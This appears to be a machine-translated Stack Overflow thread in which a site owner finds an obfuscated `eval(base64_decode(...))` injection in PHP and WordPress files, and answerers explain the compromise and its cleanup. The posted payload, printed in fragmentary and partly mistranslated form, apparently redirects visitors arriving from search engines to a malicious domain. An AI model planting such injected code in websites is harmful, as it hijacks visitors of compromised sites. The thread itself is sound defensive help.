1

最近我注意到一个 jquery mobile - 创建的 php 网站没有加载。当我检查相关的 php 文件时,我可以看到一些额外的字符进入了代码中。标记后不久,多余的字符就出现了<?php。原因是什么?我的网站被黑了吗?我将如何恢复我的所有文件?这些文件正在通过控制面板登录访问。我什至可以看到网站文件夹之外的文件,一些 wp 文件(wp-config.php、wp-blog-header.php 等)也包含这些额外的字符。

这是发现的恶意代码 -<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVI

有大佬,求指教。

这是完整的代码

评估(base64_decode(“/KVwmbHJcPS8iLCryZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcGtqbGFwb2suMWR1bWIuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));

4

2 回答 2

3

回答直接问题:是的,您的网站已被黑客入侵。

旨在掩饰正在执行的eval(base64_decode(....))代码的性质,但它不能掩饰您的 PHP 文件中有不属于那里的代码的事实。

至于被黑代码的作用,我无法回答,因为你没有提供所有这些。

我也无法回答关于他们是如何进入的任何问题,但很可能是在您的系统(或您的网络托管公司的系统)中的某个地方存在一个具有已知安全漏洞的软件包。

在大多数情况下,该软件的供应商已经修复了这个漏洞,但被黑网站上的版本不会使用最新的修复程序进行更新,从而使黑客有机会进入。

还有其他方法可以闯入站点,但这是迄今为止最有可能的方法。

我无法告诉您使用了哪些软件来入侵您的网站。涉及的变量太多,我对此了解的不够多。我可以建议您确保您负责的所有软件都是安全的并运行最新版本,并与您的托管公司核实以确保它们也完全是最新的。

您没有按名称提及 Wordpress,但您指定的文件听起来像是属于 Wordpress。因此,恢复文件应该只是将它们更新回原始 Wordpress 版本的情况。但是,正如我所说,您应该确保更新到最新的 WP 版本,因为听起来您拥有的版本已经过时且易受攻击。

您页面中的实际数据可能已被泄露,但所描述的黑客行为的性质,听起来更像是 PHP 注入黑客,所以我希望如果您将 WP 文件恢复到原始状态,您的页面将被恢复. 但是,您应该彻底检查,以确保没有任何意想不到的东西仍然潜伏在那里。

[编辑] 现在我们有了完整的代码,很容易看到它在做什么:将代码复制到一个小的 PHP 程序中,并替换evalprint,这样您就可以看到正在运行,而不是实际运行它。答案是它会检查用户不是 googlebot 或类似用户,如果不是,它会将页面重定向到恶意 URL。

于 2012-09-25T16:39:09.600 回答
2

这是 WordPress 和其他旧 CMS 的旧安装的常见问题,尤其是那些使用旧版本timthumb动态处理图像的问题。

有人将该代码注入到您的大多数 .PHP 文件的顶部(至少是那些以空行开头的文件<?php)。这发生在我几个月前。

eval() 代码基本上是“加密”恶意 PHP 代码并eval在 PHP 文件打开时运行它(使用它)。如果没有看到完整的 base64 字符串(并对其进行解码),就不可能确定代码的作用,但如果它与发生在我身上的注入类似,它会将一些 JavaScript 代码附加到您的站点以将访问者重定向到恶意页面,或者以其他方式改变您网站内的链接行为。

您需要找到导致此问题的漏洞,然后将其关闭。如果它是 WordPress 的过时版本,请升级。检查您的访问日志以查找可疑的 POST 查询。

我知道解决这个问题的唯一方法是从盒子上的每个 PHP 文件中删除 PHP 代码。如果每个文件中的代码相同,则可以使用 Linux bash 命令和高级文本编辑器从多个文件中删除代码。如果没有,拿起文件、记事本和一大杯咖啡:)

于 2012-09-25T16:31:29.320 回答